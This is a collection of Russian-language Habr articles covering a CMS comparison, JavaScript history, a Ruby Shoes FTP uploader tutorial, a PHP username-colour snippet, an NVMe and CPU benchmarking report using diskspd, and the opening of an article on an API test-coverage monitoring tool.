Мне как разработчику нравится то, что я увидел в October CMS, особенно то, что она позволяет создавать модульные приложения, предоставляемые через Laravel. Я бы рассмотрел эту CMS для нового сайта. Но в процессе написания этой статьи я также заново открыл для себя WordPress. Поскольку она очень популярна, WordPress немало критикуют, в основном касательно её устаревшей кодовой базы и, с недавнего времени, введения Gutenberg. Тем не менее, у WordPress есть несколько отличных функций (например, масштабируемая модель базы данных), которые редко хвалят, но их также стоит учитывать. И самое главное, WordPress не следует рассматривать только с точки зрения технических аспектов: размер сообщества и экосистемы ставит её на один или два уровня выше альтернатив. Если кратко, некоторые проекты могут выиграть от использования WordPress, в то время как другим лучше использовать October CMS или какую-нибудь другую платформу.
В заключении я хотел бы отметить, что изучение того, как работает какая-либо CMS, само по себе очень полезно вне зависимости от того, решите вы использовать эту конкретную CMS или нет. Я, например, годами работал над WordPress, и изучение October CMS это свежий взгляд на вопрос, который научил меня многим вещам (таким как наличие [рекомендаций по стандартам PHP](https://www.php-fig.org/psr/)), с которыми я не сталкивался в WordPress. Теперь мне решать, сменить CMS или остаться на WordPress. | https://habr.com/ru/post/509098/ | null | ru | null |
# Наследование в JavaScript с точки зрения занудного ботаника: Фабрика Конструкторов
Это история об одной очень специальной части JavaScript, [самого используемого](https://githut.info/) искусственного языка в мире в настоящее время (2019).
В статье представлен своего рода философский взгляд на Наследование в JavaScript, и я смею лишь надеяться, что он основан на самом впечатляющем источнике познания: самой жизни во всех её проявлениях. Не знаю было ли это источником вдохновения при создании дизайна цепочки прототипов в JavaScript.
Но если так, то это настолько значимо и сильно, что когда я начинаю думать об этом, то порою становится даже трудно дышать…
*( все ссылки [подчёркнуты](https://en.wikipedia.org/wiki/Underline) )*
---
Уверен так же, что при этом ни у кого из нас не вызовет сомнений то, что [Брендан Айк](https://en.wikipedia.org/wiki/Brendan_Eich) (Эйх) — автор языка программирования JavaScript — является выдающимся гением! И не только лишь потому, что он частенько повторяет:
> [Всегда ставьте на JavaScript!](https://brendaneich.com/)
**Давайте начнём!** И нашей первой отправной точкой будет Воображение, в котором мы сперва выключим все предрассудки, недомолвки и прочие побочные эффекты.
Мы отправляемся [Назад в Будущее](https://en.wikipedia.org/wiki/Back_to_the_Future), в эпоху предшествующую созданию современного Internet'а в ранних 1990х.
Со времени [первых Хакеров](https://en.wikipedia.org/wiki/Hackers:_Heroes_of_the_Computer_Revolution), которые изобрели всё, чем мы (*IT-шники*) сейчас пользуемся, мы переносимся к впечатляющей зарисовке: о войне браузеров [Netstcape Navigator](https://en.wikipedia.org/wiki/Netscape_Navigator) 2 и [Internet Explorer](https://en.wikipedia.org/wiki/Netscape_Navigator) 3. [Java](https://en.wikipedia.org/wiki/Java_(programming_language)) только вышла, и почти всё из современного Интернет ещё не изобретено или не пре-открыто. Вполне возможно, что как и я, в те «старые добрые времена» вы были молоды, и смогли запомнить это прекрасное чувство причастности ко всему тому великолепию, что прям сейчас создаётся «на ваших глазах».
Итак, у вас есть очень мощный [PC](https://en.wikipedia.org/wiki/Personal_computer) на самом современном [Intell Pentium 200 MMX](https://ark.intel.com/content/www/us/en/ark/products/49966/intel-pentium-processor-with-mmx-technology-200-mhz-66-mhz-fsb.html) с 32Mb оперативки, Windows 3.11 или даже Windows 95 и вы с надеждой вглядываетесь в будущее! И, конечно же оба [браузера](https://en.wikipedia.org/wiki/Web_browser) у вас тоже установлены. У вас есть [Dial-Up](https://en.wikipedia.org/wiki/Dial-up_Internet_access), через который вы подключаетесь к Сети за новым барахлишком, по-учёбе или просто пообщаться, по-chat'иться. Хотя, погодите, вы пока не можете чатиться прям в браузере, скорее всего вы пока пользуетесь системами с отложенной доставкой сообщений, чем-то вроде [EMail](https://en.wikipedia.org/wiki/Email) или может быть [UseNet](https://en.wikipedia.org/wiki/Usenet), или, вполне возможно вы уже освоили мгновенную доставку посредством [IRC](https://en.wikipedia.org/wiki/Internet_Relay_Chat).
Проходит пара лет и буквально ВСЁ меняется… Вдруг вы наблюдаете за анимацией снежинок на web-страничках поздравляющих вас с Новым Годом и Рождеством. Конечно же вы заинтересовываетесь тем, как это сделано, и обнаруживаете новый язык — JavaScript. Поскольку [HTML](https://en.wikipedia.org/wiki/HTML) для вас уже не нов, вы начинаете изучать эту заманчивую техно-поделку. Вскоре вы обнаруживаете [CSS](https://ru.wikipedia.org/wiki/CSS) и оказывается, что это тоже важно, поскольку всё теперь сделано из комбинации этих трёх: HTML, JavaSript и CSS. Wow.
Примерно в это же время вы могли заметить пару замечательных штук в самой Windows, в ней появились [CScript](https://en.wikipedia.org/wiki/Windows_Script_Host) и [HTA](https://en.wikipedia.org/wiki/HTML_Application), и уже тогда стало можно создавать полноценные desktop приложения прям на JS (и это до сих пор работает).
И вот вы начали делать свой первый Web-Server, возможно на [Perl](https://en.wikipedia.org/wiki/Perl) или [C](https://en.wikipedia.org/wiki/C_(programming_language))~[C++](https://en.wikipedia.org/wiki/C%2B%2B). Возможно даже вы начали использовать [Unix-like](https://en.wikipedia.org/wiki/Unix-like) [операционку](https://en.wikipedia.org/wiki/Operating_system) и делаете его на [bash](https://en.wikipedia.org/wiki/Bash_(Unix_shell)). И всё оно «крутится-вертится» благодаря [Common Gateway Interface](https://en.wikipedia.org/wiki/Common_Gateway_Interface) (не путайте с тем другим [CGI](https://en.wikipedia.org/wiki/Computer-generated_imagery)). [PHP](https://en.wikipedia.org/wiki/PHP) ещё тоже почти не существует, но возможно он вскоре вам понравится.
Эра 200х. Вы теперь делаете [ASP](https://en.wikipedia.org/wiki/Active_Server_Pages) на [JScript](https://en.wikipedia.org/wiki/JScript). Это очень похоже на тот JavaScript который работает внутри ваших web-страничек. Это так здорово! Вы подумываете о создании собственного [шаблонизатора](https://en.wikipedia.org/wiki/Template_engine), некоей пародии на [XML](https://en.wikipedia.org/wiki/XML). И тут вдруг кто-то называет [AJAX](https://en.wikipedia.org/wiki/Ajax_(programming))'ом все эти весёлые способы [динамической](https://en.wikipedia.org/wiki/Dynamic_HTML) загрузки содержимого, которые вы уже несколько лет как используете. И все они теперь думают, что есть только [XMLHTTPRequest](https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest), но вы то помните, что данные можно передать в [BMP](https://en.wikipedia.org/wiki/BMP_file_format), [IFrame](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) или даже вставив тэг | https://habr.com/ru/post/470994/ | null | ru | null |
# Ruby + Shoes = Миленький GUI
Статья изначально публиковалась для личного блога, но думаю те кто начинают изучать Ruby, или просто хотят написать GUI к приложению сочтут ее полезной.
Вступлений не будет. Тема сегодня — **Shoes**. Такой небольшой kit, для создания GUI к приложениям на Ruby. Впервые я о ~~нем~~ них услышал, когда пытался понять, как сделать на руби нечто графическое. Ответ пришел сразу, причем в двух(а то и трех вариантах):
* Qt
* wxWidgets
* Tk
* Shoes
Посмотрел пункт первый, затем второй. Узнал, что множество из ныне живущих популярных GUI-приложений на C++ имеют под собой Qt-основу :) В общем, вызнал много полезного да и вообще позитивного. На шузы (нравится их так называть) я почти не смотрел, а зря.
Буквально через месяц случайно решил попробовать, и знаете, с помощьюю Shoes творить GUI в руби гораздо легче, чем использовать неродные Qt и пр.
Собственно, думаю, это будет первая статья из мелкого цикла. В ней медленно но верно буду описывать создание простеньких приложений, какие-либо детали и пр. Думаю будет интересно. Начнем мы с нечта тривиального, так что, вперед!
FTP-загрузчик файлов на сервер
==============================
А-ля проектирование
-------------------
Что же нам нужно для нашего проекта? Вообще, я решил написать нечто простое; от программы нам понадобится следующее:
* Возможность подключения к серверу
* Отправка файла по заданному пути
Все это делается просто и быстро, поэтому приступам к делу, но для начала небольшое введение.
О Shoes
-------
Скачать «это»: [shoooes.net/downloads](http://shoooes.net/downloads/). Как только скачали создайте на рабочем столе ярлыки для «shoes.exe» и «shoes.exe –-package».
Статьи/Мануалы можно смотреть тут: [help.shoooes.net](http://help.shoooes.net/). Но и в самом shoes.exe можно открыть оффлайн-мануал. Достаточно удобный и подробный.
Советую читать по мере необходимости все оттуда, ну и не забывать про то, что на сайте. По-моему, там информации больше таки.
Пишем GUI
---------
То, что мы будем писать — обычный Ruby-код, завернутый в Shoes.app do … end блок. Self внутри которого, это и есть наш Shoes::App. Мы можем вызывать нужные методы, использовать [var](https://habrahabr.ru/users/var/) и прочие радости жизни. Как отделять код и наследоваться от этого класса я пока толком не понял, так что более сложные предложения проходили под брифом $shoes = self внутри блока шузов.
Среди множества положительных качеств всем по нраву будет — кросплатформенность. Один и тот же ruby-код будет работать в разных ОС, только вот выглядеть будет несколько по разному: [help.shoooes.net/Introducing.html](http://help.shoooes.net/Introducing.html)
Но вернемся к нашей задаче. Нам с Вами хочется написать загрузчик файлов на FTP-сервер. Для соединения с сервером будем использовать Net::FTP(ну вот так вот, из стандартного комплекта), а для GUI — сами\_знаете\_что.
### Начинаем
`Shoes.app(:title => 'FTP File Uploader', :width => 500, :height => 400, :resizable => false) do
require 'net/ftp'
background gradient rgb(255, 255, 255), rgb(150, 150, 150), :angle => 45
stack :margin => 20 do
end
end`
Создаем наше приложение, задавая некоторые параметры:
:title — название
:width — ширина
:height — высота
:resizable — ресайз :-)
Затем подключаем в перспективе то, что нам понадобится на будущее для работы с FTP.
После этого делаем красивый фон градиентом под углом(почти как на человеческой языке говорить: “set background to gradient rbg rbg with angle”, ну или что-то такое).
Далее идет блок. В нем мы можем задать отступ от всего что вокруг(:margin). Кроме всего прочего элементы внутри stack будут располагаться друг под другом, в отличие от flow.
### Добавляем элементы
`Shoes.app(:title => 'FTP File Uploader', :width => 500, :height => 400, :resizable => false) do
require 'net/ftp'
background gradient rgb(255, 255, 255), rgb(150, 150, 150), :angle => 45
stack :margin => 20 do
caption 'FTP File Uploader'
flow :margin => 3 do
inscription 'FTP-server: '
@server = edit_line :width => 200
end
flow :margin => 3 do
inscription 'FTP-path: '
@path = edit_line :width => 200
end
flow :margin => 3 do
inscription 'Username: '
@username = edit_line :width => 200, :text => 'anonymous'
end
flow :margin => 3 do
inscription 'Password: '
@password = edit_line :width => 200, :secret => true
end
para
flow :margin => 3 do
inscription 'Filename: '
@filename = edit_line :width => 200
para ' '
button 'Browse...' do
@filename.text = ask_open_file
end
end
flow :margin => 3 do
@status = para ''
end
end
end`
После того, как мы написали базу пора добавить немного элементов, да и вообще хоть чего-то более-менее живого добавить в приложение. Для этого используем flow, inscription(текст с размером 10px), para(тоже текст, только побольше), edit\_line, button — элементы графического интерфейса.
Как уже писал, flow — тот-же блок stack, только элементы в нем будут идти друг за другом.
EditLine — поле ввода.
Inscription и para — текстовые блоки.
Button — банальная кнопка.
Теперь кое о чем подробнее. "@server = edit\_line :width => 200" — т.к. в пределах всего блока Shoes.app, self — это и есть наше приложение, то мы можем работать с его св-и посредством @, таким образом помещая туда элементы, данные, что угодно и работая с ними внутри каких-либо наших конструкций.
Еще один момент, кнопки мы никак не называем, потому что описываем их действие сразу. Если к методу button добавить блок, то он выполнится при нажатии кнопки — удобно, согласитесь. Таким образом, при нажатии “Browse…” у нас откроется диалоговое окно(ask\_open\_file), и имя выбранного файла будет записано в наш edit\_line.
Немного отвлекся. Нам ведь нужно посмотреть на плоды своего творчествава. Для этого запускаем Shoes.exe и выбираем «Open an App». Выбираем наш .rb файл и вуа-ля :)
### Завершающий этап
Скриншот того, что получилось: <http://jleft.ru/wp-content/uploads/2009/05/screen11.gif>
Исходники в отдельном файле: <http://www.sendspace.com/file/ba7lkl>
`Shoes.app(:title => 'FTP File Uploader', :width => 500, :height => 400, :resizable => false) do
require 'net/ftp'
background gradient rgb(255, 255, 255), rgb(150, 150, 150), :angle => 45
stack :margin => 20 do
caption 'FTP File Uploader'
flow :margin => 3 do
inscription 'FTP-server: '
@server = edit_line :width => 200
end
flow :margin => 3 do
inscription 'FTP-path: '
@path = edit_line :width => 200
end
flow :margin => 3 do
inscription 'Username: '
@username = edit_line :width => 200, :text => 'anonymous'
end
flow :margin => 3 do
inscription 'Password: '
@password = edit_line :width => 200, :secret => true
end
para
flow :margin => 3 do
inscription 'Filename: '
@filename = edit_line :width => 200
para ' '
button 'Browse...' do
@filename.text = ask_open_file
end
end
flow :margin => 3 do
button 'Upload' do
@status.text = ''
begin
Net::FTP.open(@server.text) do |ftp|
ftp.login(@username.text, @password.text)
ftp.chdir(@path.text)
ftp.putbinaryfile(@filename.text)
end
@status.text = 'File transfered'
rescue Exception => e
alert "Error: #{e}"
end
end
end
flow :margin => 3 do
@status = para ''
end
end
end`
Если чего не дописал/неверно — напишите, поправим-с. :)
**UPD**. Перенес в блог Ruby | https://habr.com/ru/post/60075/ | null | ru | null |
# Цветовая идентификация
`function get_username_html_color($username )
{
return '#' . substr( md5($username ), 0, 6 );
}`
Я, например, вот такой **subz**. Первые попавшиеся под руку %username%: **rost**, **anvar**, **navosha**.
Пытливым умам посчитать хватит ли краски для всех хабраюзеров.
Спасибо [Dreadatour](https://habr.com/ru/users/dreadatour/) за реализацию [dreadatour.ru/username](http://dreadatour.ru/username/)
Спасибо [salvator](https://habr.com/ru/users/salvator/) за реализацию [ssalvator.googlepages.com/colorizer.html](http://ssalvator.googlepages.com/colorizer.html) | https://habr.com/ru/post/26386/ | null | ru | null |
# Все врут: эпопея с NVMe-серверами и Hi-CPU
[](https://habr.com/ru/company/ruvds/blog/560404/)*Diskspd лучше использовать вместо CrystalDiskMark, потому что код первой на стыке с GUI второй даёт забавный баг*
У нас, в RUVDS, не хватало в линейке NVMe-сервера, чтобы побыстрее и помощнее… Потому что в последний год пошла мода разворачивать на таких Битрикс и 1С. Спрос на услугу есть, у других хостингов она тоже есть и заказывается — в общем, всё шло к тому, что надо просто выбрать конфигурацию и конкретные варианты железа и закупиться во все 11 локаций по миру. А тут надо сказать, что мы поддерживаем сейчас только две конфигурации: побыстрее и помедленнее. Потому что ЗИП, потому что поддержка, потому что софт и так далее — это одна из частей политики адекватных цен. То есть добавится третья, и поменять там что-то можно будет года так через четыре.
У нас везде стоят SSD RAID (даже там, где показывается HDD по тарифу), но мы хотели сильнее, выше и быстрее.
Первое, что мы узнали, — что NVMe не объединяется в RAID нормальными способами, то есть в итоге надёжных дисков ждать не стоит. Второе — в этот же сервер мы хотели запихнуть Hi-CPU и с удивлением установили, что частота 4,5 ГГц — это не серверное, а домашнее десктопное железо и серверных решений такой частоты просто физически не бывает в природе пока.
Плюс по дороге наш админ нашёл фатальный баг в утилите тестирования. В общем, давайте расскажу с тестами, на что именно похоже NVMe-решение в VDS-хостинге.
Сразу скажу, что, возможно, мы что-то не так делали, и если кто-то понимает что — буду очень благодарен.
▍ Ожидания от NVMe
------------------
Когда мы переходили с HDD на SSD, разница была как небо и земля. Запускаешь любой тест — и получаешь кратный прирост производительности. На NVMe такого не было. Более того, в столкновении лоб в лоб с нашими уже имеющимися конфигурациями NVMe диски не всегда обходили их. Быстрее они были или медленнее, зависело от условий теста.
Для начала мы купили пару вариантов серверов. Мы обычно покупаем платформу, тестируем, понимаем, что не так, тестируем ещё, потом только раскатываем на 11 локаций, потому что столько ЗИПа сразу и новые процессы поддержки — это дорого. Тут мы купили платформу и сразу наткнулись на невероятно отстойный результат.
В одном и том же гипервизоре на разных гостевых ОС было не отличить, SSD внутри сервера или NVMe. Даже с тестом.
При использовании NVMe в RAID скорость будет ниже, чем у SSD. Грубо говоря, когда мы используем RAID, мы его включаем в одну PCIe-шину и мы ограничены этой PCI Еxpress, и только несколько дисков можем распараллелить по разным шинам. Нужны контроллеры.
Почему так, никто не смог дать нормального ответа. Спрашивали у старого проверенного вендора, у новых вендоров, у вообще левых вендоров. Все разводили плечами и говорили: «Ну вы вообще лохи, кто же втыкает NVMe в RAID — не будет производительности!». Формулировки отличались от приведённой, но смысл оставался неизменным. Так мы поняли, что, наверное, надо использовать NVMe без рейда. Есть одна компания (дружественный конкурент) — так вот, только они пояснили, что у них так же было несколько лет назад. Они выкинули несколько платформ, и в итоге решено было не использовать RAID.
То есть первая проблема — при вылете диска не будет авторебилда на новый, который принесёт админ. Без RAID клиенты будут терять статус виртуалок и данные. Уже не то, но мы пробуем идти дальше.
Дальше есть выбор между U2 и M2. Мы купили дорогие диски U2. Они втыкаются через интерфейс Окулинка в шину. M2 чаще используют в десктопах, они втыкаются в материнку. Тоже протестировали, разницы между ними особо нет. Но если диск втыкается без промежуточного интерфейса прямо в плату, то его сложнее обслуживать, — при выходе из строя надо будет снимать крышку сервера и ковыряться.
▍ Теперь тесты — реальность NVMe
--------------------------------
Результат зависит от ОС хоста, версии гипервизора, версии домашней ОС на виртуалке, выбора метода тестирования.
Зависит это от того, что наиболее свежие гипервизоры поддерживают NVMe своими драйверами нативно, а другие работают как оверхед SSD. Это тоже не очень хороший результат, потому что мы привыкли использовать проверенные решения. Есть серверная винда 12-16-19. Мы используем максимальную версию 16. Когда выйдет следующая — будем использовать 19. Потому что последние версии всегда беты. Вообще, в серверном администрировании последнюю версию софта используют только гики и самоубийцы. И да, если у вас сейчас дёрнулась рука, вы гик. Или бета-тестер. Хотя, возможно, вы об этом ещё не знаете. Вендор софта регулярно выкатывает новую версию, даёт ребуты, обновления, патчи — нужно пройти поколение, чтобы это работало стабильно. Как всегда ждём второго сервис пака. Клиенту не объяснишь про новую уязвимость или новую пачку апдейтов от MS. Точнее, мы объяснить сможем, но клиент не всегда верит. С нашим парком машин на 19-ю Винду бежать — не очень хорошо. Если все серверы начнут цветомузыку делать с обновлениями и перезагрузками, в грязь лицом бить не хочется.
Второй важный момент касается странности на файле 45 Гб, сейчас увидите.
Методика: при тестировании мы использовали утилиту [**diskspd**](https://github.com/microsoft/diskspd). Вокруг неё навернули **CrystalDiskMark**, который мы хотели использовать первым, но нашли один очень забавный баг.
Для нас важно, что обе утилиты:
* Позволяют задавать несколько тестируемых файлов одновременно. Причём эти файлы могут быть размещены на разных дисках. Это может быть полезным для проверки общей пропускной способности контроллера при независимом чтении на разных диски. Количество потоков. Сколько будет создано независимых друг от друга потоков, которые будут производить чтение и запись файлов.
* В diskspd number of outstanding IO requests per thread — здесь возможны некоторые разночтения в переводе. Более того, в CrystalDiskMark этот параметр называется Queue, хотя очередью это можно назвать с некоторой натяжкой.
▍ Понимание параметра number of outstanding IO
----------------------------------------------
Для понимания как утилита работает, мы можем заглянуть в её исходный код. Наиболее интересны следующие строки.
[Для чтения:](https://github.com/microsoft/diskspd/blob/c60b6eab63bf28c1362fda05ab62a2f8f0565fe8/IORequestGenerator/IORequestGenerator.cpp#L796)
```
if (useCompletionRoutines)
{
rslt = ReadFileEx(...);
}
else
{
rslt = ReadFile(...);
}
```
[И аналогичные строки для записи:](https://github.com/microsoft/diskspd/blob/c60b6eab63bf28c1362fda05ab62a2f8f0565fe8/IORequestGenerator/IORequestGenerator.cpp#L835)
```
if (useCompletionRoutines)
{
rslt = WriteFileEx(...);
}
else
{
rslt = WriteFile(...);
}
```
Аргументы пропущены для наглядности. Нас больше интересует тот факт, что чтение и запись производятся стандартными функциям WinAPI:
[ReadFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfile)
[WriteFile](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefile)
И соответствующими асинхронными функциями:
[ReadFileEx](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-readfileex)
[WriteFileEx](https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-writefileex)
Если подробнее разобрать код, то можно понять следующее:
При задании **number of outstanding IO = 1** будут использованы синхронные варианты ReadFile и WriteFile. **Псевдокод** для операции **записи** выглядит примерно так:
```
void testThreadFunc() {
while (!stopTesting) {
WriteFile(...) // ждем окончания записи
}
}
```
Если задать **number of outstanding IO > 1**, то будут использованы асинхронные варианты ReadFileEx и WriteFileEx и число **number of outstanding IO** задаёт глубину таких вызовов для **каждого** потока. **Псевдокод** для операции записи при **number of outstanding IO = 3** выглядит так:
```
void callback1() {
while (!stopTesting) {
WriteFileEx(..., callback1)
}
}
void callback2() {
while (!stopTesting) {
WriteFileEx(..., callback2)
}
}
void callback3() {
while (!stopTesting) {
WriteFileEx(..., callback3)
}
}
void testThreadFunc() {
WriteFileEx(..., callback1) // не ждем окончания записи
WriteFileEx(..., callback2) // не ждем окончания записи
WriteFileEx(..., callback3) // не ждем окончания записи
// ждем когда все операции завершатся
}
```
Таким образом, **number of outstanding IO** — это количество асинхронных вызовов в каждом потоке.
▍ Почему мы не использовали CrystalDiskMark
-------------------------------------------
Утилита **CrystalDiskMark** — это просто графическая оболочка для **diskspd**. Об этом несложно догадаться, если установить утилиту и зайти в директорию **CdmResource\DiskSpd.**
Но в реализации этой оболочки есть ряд проблем.
Во-первых, она каким-то образом модифицирует код **diskspd**. Это несложно понять, если заглянуть в код [**CrystalDiskMark:**](https://github.com/hiyohiyo/CrystalDiskMark/blob/4cced60ebcbf792e4bd3920586e242bd07ff6063/DiskBench.cpp#L909)
```
command.Format(L"\"%s\" %s -d%d -A%d -L \"%s\"", ..., GetCurrentProcessId(), ...);
```
При вызове **diskspd** ему передаётся параметр -A с указанием Id текущего процесса. Такого параметра у diskspd нет. Автор **CrystalDiskMark** решил не парсить консольный вывод **diskspd** и решил получить данные более хитрым способом. Причём способ выбран не самый удачный.
Вот в этой функции происходит непосредственный вызов [**diskspd**:](https://github.com/hiyohiyo/CrystalDiskMark/blob/4cced60ebcbf792e4bd3920586e242bd07ff6063/DiskBench.cpp#L54)
```
int ExecAndWait(TCHAR *pszCmd, BOOL bNoWindow, double *latency)
{
DWORD Code = 0;
…
GetExitCodeProcess(pi.hProcess, &Code);
*latency = (double)*pMemory * 1000; // milli sec to micro sec
return Code;
}
```
К передаче **latency** через *SharedMemory* в принципе нет вопросов. Но если рассмотреть далее по коду, где используется значение переменной **Code**, то становится ясным, что это и есть измеренная скорость диска. Возвращать её через ErrorCode процесса неудачная идея. Например, если процесс завершится с ошибкой по какой-то другой причине, то код ошибки будет просто отображён в результате тестирования.
Ещё есть сомнения в правильности возвращаемого значения **latency**. При указании ключа **-L diskspd** возвращает примерно такую табличку:
Например, **шестая строка** означает, что в **95 %** случаев задержка будет меньше **54.306ms**. **CrystalDiskMark** же просто возвращает среднее по всем значениям таблицы. Это может вводить в заблуждение.
▍ Параметры тестирования
------------------------
Для того чтобы увидеть преимущества NVME, необходимо задавать **number of outstanding IO** достаточно большим. Мы выбрали число **32.**
**❒** Платформа:
Supermicro SuperServer SYS-6029P-WTRT 2U
**❒** Диски:
Intel SSD DC P4610 Series 1.6TB, 2.5in PCIe 3.1 x4, 3D2, TLC
**❒** Команды для запуска diskspd для файла 10G:
```
DiskSpd64.exe -b128K -t32 -o32 -w0 -d10 -si -S -c10G G:/testfile.dat
DiskSpd64.exe -b128K -t32 -o32 -w100 -d10 -si -S -c10G G:/testfile.dat
DiskSpd64.exe -b4K -t32 -o32 -w30 -d10 -r -S -c10G G:/testfile.dat
```
**❒** Команды для запуска diskspd для файла 50G:
```
DiskSpd64.exe -b128K -t32 -o32 -w0 -d10 -si -S -c50G G:/testfile.dat
DiskSpd64.exe -b128K -t32 -o32 -w100 -d10 -si -S -c50G G:/testfile.dat
DiskSpd64.exe -b4K -t32 -o32 -w30 -d10 -r -S -c50G G:/testfile.dat
```
▍ Результаты
------------
**❒** Table 1 Хостовая ОС Windows Server 2019
| | | |
| --- | --- | --- |
|
|
SSD RAID 5 |
NVME U.2 |
|
Виртуальный сервер Windows Server 2016 файл 10GB
(IOPS — больше лучше) |
11636 |
246813 |
|
Виртуальный сервер Windows Server 2016 файл 45GB
(IOPS — больше лучше) |
9124 |
679 |
|
Виртуальный сервер Debian 10 файл 10GB
(IOPS — больше лучше) |
- |
162748 |
|
Виртуальный сервер Debian 10 файл 45GB
(IOPS — больше лучше) |
- |
95330 |
**❒** Table 1 Хостовая ОС Windows Server 2016
| | | |
| --- | --- | --- |
|
|
SSD RAID 5 |
NVME U.2 |
|
Виртуальный сервер Windows Server 2016 файл 10GB
(IOPS — больше лучше) |
11728 |
101350 |
|
Виртуальный сервер Windows Server 2016 файл 45GB
(IOPS — больше лучше) |
11200 |
645 |
|
Виртуальный сервер Debian 10 файл 10GB
(IOPS — больше лучше) |
10640 |
52145 |
|
Виртуальный сервер Debian 10 файл 45GB
(IOPS — больше лучше) |
9818 |
39821 |
Под Hyper-V и гостевой Windows Server получаются результаты, которые сложно объяснить. На небольшом файле порядка **10G** мы получаем большой прирост **IOPS** по сравнению с SSD в рейде. Но если взять файл **45G**, мы наоборот получаем значительное падение **IOPS.**
▍ Теперь переходим к Hi-CPU
---------------------------
Второй сюрприз открылся на процессорах с частотой 4,5 ГГц.
Тут надо сказать, что процессоры в серверных линейках тоже используются на -1 поколение от десктопа. Потому что бета-тестеры — это геймеры, и им можно присылать софтверные патчи. А вот на серверах даже тот же хартблид не сразу поправили и не всё. Все серверные решения надёжные и дорогие, зато всегда уступают по скорости.
У нас недесктопные задачи. Машина делится между многими клиентами. И вот мы видим конфигурации на 4,5 ГГц, которых в природе нет.
Оказывается, реализаций две:
* Либо Hi-CPU реализован за счёт разогнанных десктопных вариантов (был у Интела эксперимент с серверным разгоном, но возникали проблемы с охлаждением). Это можно очень увлекательно решить, если использовать водные контуры, и некоторые так действительно делают. У нас сантехнического опыта не было.
* Либо же это десктопные процессоры, которые имеют turbo boost-частоту, но она максимальная. Именно эта частота используется в маркетинговых материалах! При этом из-под гостевой ОС видно производительность 3,6 вместо 4,5 в бусте. Потому что турбобуст, вообще-то, врубается специфически: процессор старается давать повышенную частоту при наличии питания и запаса по температуре. Это хорошо при пиках на десктопе (но не в играх), но очень плохо для сервера под нагрузкой с несколькими клиентами. То есть турбобуст не врубается на сервере почти никогда.
▍ Итого
-------
В итоге, мы решили остаться на наших проверенных 3.6 GHz (turbo boost 4.4 GHz) и этим закрыть изыскания с процессором.
С NVMe — нахватавшись рандомных результатов от суперстандартной утилиты, как видите, сменили инструмент. Дальше вопрос гипервизора и ОС.
В коммерческом плане эти диски предлагают всё больше, надо учиться работать. Для себя оставляем определённую комбинацию хостовой версии гипервизора и будем дальше тестить, диски представлять тоже. Если хостер пишет NVMe — это ещё ничего не значит. На KVM с определёнными свежими сборками \*nix и кропотливой настройкой можно получить отличный выигрыш, но каждый тест надо помечать звёздочкой, — «вот в таких условиях, чуть поменяешь — и вообще всё не так». На 12-й Винде или Дебиане уже всё другое.
В общем, NVMe — безусловный стандарт, но пока это не значит, что на тарифе с ним точно будет быстрее. Мы разворачиваем сервера с ним аккуратно, но пока выигрыш примерно соответствует повышению в цене, никакой магии.
[](https://ruvds.com/news/read/142?utm_source=habr&utm_medium=article&utm_campaign=abdulmanov&utm_content=vse_vrut:_epopeya_s_nvme-serverami_i_hi-cpu)
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=abdulmanov&utm_content=vse_vrut:_epopeya_s_nvme-serverami_i_hi-cpu) | https://habr.com/ru/post/560404/ | null | ru | null |
# Нам требовался мониторинг покрытия проекта автотестами. Для этого мы разработали сервис Coverage Manager
**Summary: Игорь Зубцов, руководитель автоматизированного тестирования в направлении омниканальных решений Лиги Цифровой Экономики, рассказал, как его команда разработала сервис для мониторинга покрытия автоматизированными сценариями, с какими сложностями столкнулась и как он работает.**
В этой статье я бы хотел рассказать о разработанном нашей командой сервисе **Coverage Manager**. Мы используем его для мониторинга покрытия автоматизированными сценариями, однако разработку можно применять и на других проектах.
Естественное желание — видеть наглядный результат работы автоматизаторов на проекте. Всегда хочется знать, а главное, видеть ответы на вопросы: «А что у нас с покрытием этого функционала?», «А покрыт ли у нас этот сценарий?» и подобные. Coverage Manager предназначен для визуальных ответов на многие такие вопросы. Любой причастный к проекту человек может зайти и посмотреть, покрыт ли тот или иной сценарий автотестами, а также пронаблюдать динамику.
\*\*\*
Когда проект только начинался, у нас работали один автоматизатор и несколько ручных тестировщиков, острой необходимости в снятии метрик автотестирования на тот момент не было. Но постепенно команда росла, проект с монолитной архитектурой оброс микросервисами, и становилось все сложнее помнить и понимать, какой функционал покрыт тестами. Первоочередной целью мы выбрали **подсчитать покрытие функционала API-тестами**.
Это было особенно важно, поскольку команда проекта поделилась на стримы, и автотестировщики работали относительно изолированно, внутри своих небольших команд, — а из-за этого тесты могли пересекаться.
Мы проанализировали рынок, однако на тот момент подходящих нашей команде инструментов для сбора статистики не существовало.
API-покрытие. Версия 1
----------------------
Прежде чем перейти к рассказу о Coverage Manager, хотелось бы уточнить, на каком стеке технологий мы в принципе разрабатываем наши автотесты, так как далее рассмотрим варианты автоматизированных сценариев. Речь сегодня пойдет в основном про **автотесты API**, поэтому рассказывать буду на примере именно таких сценариев.
Для написания автоматизированных проверок API мы используем так называемый «Огурец» Cucumber и java-библиотеку Rest Assured, которая позволяет отправлять rest-запросы на сервер, получать ответы, извлекать из них все необходимые данные (тело ответа, заголовки, куки и т. д.).
В cucumber для написания тестов используется gherkin-нотация. **Так выглядит простой сценарий:**
```
@getTestMethodOne
Функционал: Проверка вызовов тестовых методов
@test
Сценарий: Вызов первого тестового метода GET
Пусть пользователь планирует вызывать метод "/api/test/method/one"
И пользователь делает GET вызов
Тогда пользователь получает ответ с кодом "200"
```
В коде основного проекта разработчики помечают методы и классы аннотациями, из которых потом генерируется swagger. В этой документации есть уникальный для каждого API параметр **operationId**.
```
"/test/method/one": {
"get": {
"tags": [
"test"
],
"summary": "Первый тестовый метод GET",
"description": "Описание первого тестового метода GET",
"operationId": "getTestMethodOne",
"produces": [],
"parameters": []
}
}
```
В первой версии Coverage Manager мы решили **считать покрытие API, используя эти параметры за основу**. То есть сценарию, в котором вызывается тот или иной API, проставляли тег с этим самым operationId и как бы мапили этот сценарий с тем, что у нас есть в swagger проекта.
